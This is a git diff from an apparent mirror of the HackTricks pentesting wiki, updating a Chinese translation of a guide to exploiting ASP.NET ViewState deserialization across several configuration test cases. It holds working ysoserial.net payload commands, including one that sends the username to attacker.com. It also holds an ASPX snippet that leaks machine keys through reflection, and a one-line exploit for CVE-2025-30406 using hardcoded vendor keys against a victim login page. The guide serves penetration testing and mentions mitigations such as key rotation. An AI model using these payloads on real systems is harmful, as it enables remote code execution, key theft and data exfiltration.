mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
932fb9460a
commit
7431b8920c
@ -24,7 +24,7 @@ ViewState 信息可以通过以下属性或其组合来表征:
|
||||
1. 对于 **任何版本的 .NET**,当 MAC 和加密都被禁用时,不需要 MachineKey,因此没有适用的方法来识别它。
|
||||
2. 对于 **4.5 版本以下**,如果启用了 MAC 但未启用加密,则需要 MachineKey。识别 MachineKey 的方法称为 "Blacklist3r"。
|
||||
3. 对于 **4.5 版本以下**,无论 MAC 是否启用,如果启用了加密,则需要 MachineKey。识别 MachineKey 是 "Blacklist3r - Future Development" 的任务。
|
||||
4. 对于 **4.5 版本及以上**,所有 MAC 和加密的组合(无论两者都为 true,还是一个为 true 另一个为 false)都需要 MachineKey。可以使用 "Blacklist3r" 来识别 MachineKey。
|
||||
4. 对于 **4.5 版本及以上**,所有 MAC 和加密的组合(无论两者都为 true,还是一个为 true 另一个为 false)都需要 MachineKey。可以使用 "Blacklist3r" 识别 MachineKey。
|
||||
|
||||
### 测试用例:1 – EnableViewStateMac=false 和 viewStateEncryptionMode=false
|
||||
|
||||
@ -41,7 +41,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
### Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server
|
||||
|
||||
开发人员可以**移除 ViewState**,使其不成为 HTTP 请求的一部分(用户将不会收到此 cookie)。\
|
||||
人们可能会假设,如果**ViewState**不**存在**,他们的实现就**安全**,不会出现与 ViewState 反序列化相关的潜在漏洞。\
|
||||
人们可能会假设,如果**ViewState****不存在**,他们的实现就**安全**,不会出现与 ViewState 反序列化相关的潜在漏洞。\
|
||||
然而,事实并非如此。如果我们**将 ViewState 参数**添加到请求体中,并发送我们使用 ysoserial 创建的序列化有效负载,我们仍然能够实现**代码执行**,如**案例 1**所示。
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
@ -96,7 +96,7 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||

|
||||
|
||||
如果你运气好并且找到了密钥,你可以使用 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:
|
||||
如果你运气好并且找到了密钥,你可以使用 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
|
||||
@ -110,9 +110,11 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
|
||||
在这种情况下,不知道该参数是否受到MAC保护。然后,值可能被加密,您将**需要机器密钥来加密您的有效负载**以利用该漏洞。
|
||||
|
||||
**在.NET 4.5之前**,ASP.NET可以**接受**来自用户的**未加密** \_`__VIEWSTATE`\_ 参数,即使**`ViewStateEncryptionMode`**已设置为_**始终**_。ASP.NET **仅检查**请求中**`__VIEWSTATEENCRYPTED`**参数的**存在**。**如果删除此参数并发送未加密的有效负载,它仍然会被处理。**
|
||||
**在这种情况下,** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **模块正在开发中...**
|
||||
|
||||
因此,如果攻击者通过其他漏洞(如文件遍历)找到获取机器密钥的方法,可以使用在**案例2**中使用的[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)命令,通过ViewState反序列化漏洞执行RCE。
|
||||
**在 .NET 4.5 之前,** ASP.NET 可以**接受**来自用户的**未加密** \_`__VIEWSTATE`\_ 参数,即使**`ViewStateEncryptionMode`**已设置为_**始终**_。ASP.NET **仅检查**请求中**`__VIEWSTATEENCRYPTED`**参数的**存在**。**如果删除此参数并发送未加密的有效负载,它仍然会被处理。**
|
||||
|
||||
因此,如果攻击者通过其他漏洞(如文件遍历)找到获取机器密钥的方法,可以使用在**案例 2**中使用的[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)命令,通过ViewState反序列化漏洞执行RCE。
|
||||
|
||||
- 从请求中删除`__VIEWSTATEENCRYPTED`参数,以利用ViewState反序列化漏洞,否则将返回Viewstate MAC验证错误,利用将失败。
|
||||
|
||||
@ -122,7 +124,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
```xml
|
||||
<httpRuntime targetFramework="4.5" />
|
||||
```
|
||||
另外,这可以通过在 web.config 文件的 `machineKey` 参数中指定以下选项来完成。
|
||||
另外,可以通过在 web.config 文件的 `machineKey` 参数中指定以下选项来完成此操作。
|
||||
```bash
|
||||
compatibilityMode="Framework45"
|
||||
```
|
||||
@ -153,24 +155,25 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||
|
||||

|
||||
|
||||
成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的出带请求。这种利用方式在一个概念验证(PoC)中得到了演示,该 PoC 可以通过名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多细节,以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey,您可以查看提供的 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)。
|
||||
成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的出带请求。这种利用方式在一个概念验证(PoC)中得到了展示,该 PoC 可以通过名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多细节,以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey,您可以查看提供的 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)。
|
||||
|
||||
### 测试用例 6 – 使用 ViewStateUserKeys
|
||||
|
||||
**ViewStateUserKey** 属性可以用来 **防御** **CSRF 攻击**。如果在应用程序中定义了这样的密钥,并且我们尝试使用到目前为止讨论的方法生成 **ViewState** 有效负载,则 **有效负载将不会被应用程序处理**。\
|
||||
您需要使用一个额外的参数才能正确创建有效负载:
|
||||
您需要使用一个额外的参数来正确创建有效负载:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### 成功利用的结果 <a href="#poc" id="poc"></a>
|
||||
|
||||
对于所有测试用例,如果 ViewState YSoSerial.Net 有效负载 **成功**,则服务器会响应“**500 内部服务器错误**”,响应内容为“**此页面的状态信息无效,可能已损坏**”,并且我们获得 OOB 请求。
|
||||
对于所有测试用例,如果 ViewState YSoSerial.Net 有效负载 **成功** 工作,则服务器会响应“**500 内部服务器错误**”,响应内容为“**此页面的状态信息无效,可能已损坏**”,并且我们获得 OOB 请求。
|
||||
|
||||
查看 [进一步信息这里](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
查看 [进一步的信息在这里](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
### 通过反射转储 ASP.NET 机器密钥 (SharPyShell/SharePoint ToolShell)
|
||||
|
||||
能够 **上传或执行任意 ASPX 代码** 的攻击者可以直接检索保护 `__VIEWSTATE` 的密钥,而不是进行暴力破解。一个泄露密钥的最小有效负载通过反射利用内部 .NET 类:
|
||||
能够在目标 Web 根目录中 **上传或执行任意 ASPX 代码** 的攻击者可以直接检索保护 `__VIEWSTATE` 的秘密密钥,而不是进行暴力破解。
|
||||
一个泄露密钥的最小有效负载通过反射利用内部 .NET 类:
|
||||
```csharp
|
||||
<%@ Import Namespace="System.Web.Configuration" %>
|
||||
<%@ Import Namespace="System.Reflection" %>
|
||||
@ -198,12 +201,52 @@ curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
||||
```
|
||||
这个 **key-exfiltration primitive** 在2025年被大规模利用于本地SharePoint服务器(“ToolShell” – CVE-2025-53770/53771),但它适用于任何可以运行服务器端代码的ASP.NET应用程序。
|
||||
|
||||
## 2024-2025 真实世界的利用场景和硬编码机器密钥
|
||||
|
||||
### 微软“公开披露的机器密钥”浪潮(2024年12月 – 2025年2月)
|
||||
微软威胁情报报告了对ASP.NET网站的大规模利用,这些网站的 *machineKey* 之前在公共来源(GitHub gists、博客文章、粘贴网站)上被泄露。对手枚举了这些密钥,并使用更新的 `ysoserial.net` 1.41 `--minify` 和 `--islegacy` 标志生成有效的 `__VIEWSTATE` gadgets,以规避WAF长度限制:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
||||
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
||||
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
||||
--generator=<VIEWSTATEGEN> --minify
|
||||
```
|
||||
旋转静态密钥或在 Web .config 中切换到 *AutoGenerate* 密钥 (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) 可以减轻这一类攻击。 {{#ref}}
|
||||
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2025-30406 – Gladinet CentreStack / Triofox 硬编码密钥
|
||||
Kudelski Security 发现多个 CentreStack / Triofox 版本使用相同的 `machineKey` 值,从而通过 ViewState 伪造实现未经身份验证的远程代码执行 (CVE-2025-30406)。
|
||||
|
||||
一行利用代码:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
|
||||
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
|
||||
--validationalg=SHA1 \
|
||||
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
|
||||
--decryptionalg=AES --generator=24D41AAB --minify \
|
||||
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
|
||||
```
|
||||
在 CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 中修复 – 立即升级或更换密钥。 {{#ref}}
|
||||
|
||||
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [Introducing badsecrets – fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
|
||||
- [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
|
||||
- [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
|
||||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user